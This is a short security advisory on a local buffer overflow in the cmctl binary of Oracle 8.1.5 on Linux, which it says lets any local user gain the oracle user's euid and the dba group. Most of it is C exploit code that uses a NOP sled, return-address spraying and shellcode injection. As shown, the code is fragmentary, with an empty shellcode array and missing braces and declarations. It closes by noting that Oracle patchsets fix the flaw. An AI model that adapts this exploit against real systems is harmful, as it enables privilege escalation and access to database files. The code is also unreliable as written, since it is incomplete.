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Oracle 8.1.5 Buffer Overflow

    Connection Manager Control binary


    Oracle 8.1.5


    Juan  Manuel  Pascual  Escriba   found  following.   cmctl  is   a
    Connection Manager Control binary.  There is a buffer overflow  in
    cmctl that can be use by local users to obtain euid of oracle user
    and egid to  dba.  With  the default instalation  oracle user owns
    all database files.

    Any user with local access, can gain euid= oracle an egid=dba

    Exploit Code for cmctl in Oracle 8.1.5 (8i) for Linux. I tested in RH
    6.2 and 6.1. Is possible to export to others platforms.

    If someone exports this to Sparc please tell me.

    synopsis: buffer overflow in cmctl
    Impact:   any user gain euid=oracle and egid=dba.

    Special Thanks to my favourite DBA. Xavi "de verdad como sois" Morales.

    #include <stdio.h>
    #include <stdlib.h>

    #define DEFAULT_OFFSET                    1
    #define DEFAULT_BUFFER_SIZE             350
    #define NOP                            0x90
    #define BINARY  "/usr/local/oracle8i/app/oracle/product/8.1.5/bin/cmctl
    echo $pakito"

    char shellcode[] =

    unsigned long get_sp(void) {
       __asm__("movl %esp,%eax");

    main(int argc, char *argv[]) {
      char *buff, *ptr,*name[3],environ[100],binary[120];
      long *addr_ptr, addr;
      int i;

      if (argc > 1) offset  = atoi(argv[1]);
                    printf("Use ./cmctl_start Offset\n");

      buff = malloc(bsize);
      addr = get_sp() - offset;
      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;

      for (i = 0; i < bsize/2; i++)
        buff[i] = NOP;

      ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
      for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];

      buff[bsize - 1] = '\0';



    Oracle has  fixed this  vulnerability in  patchsets for  Oracle8i,
    Releases 8.1.6 and 8.1.5,  and Oracle8, Releases 8.0.5,  8.0.4 and
    8.0.3.  The patchsets  are available on Oracle's  Support Services
    site.  All other production releases of the Oracle database server
    contain this security patch by default.

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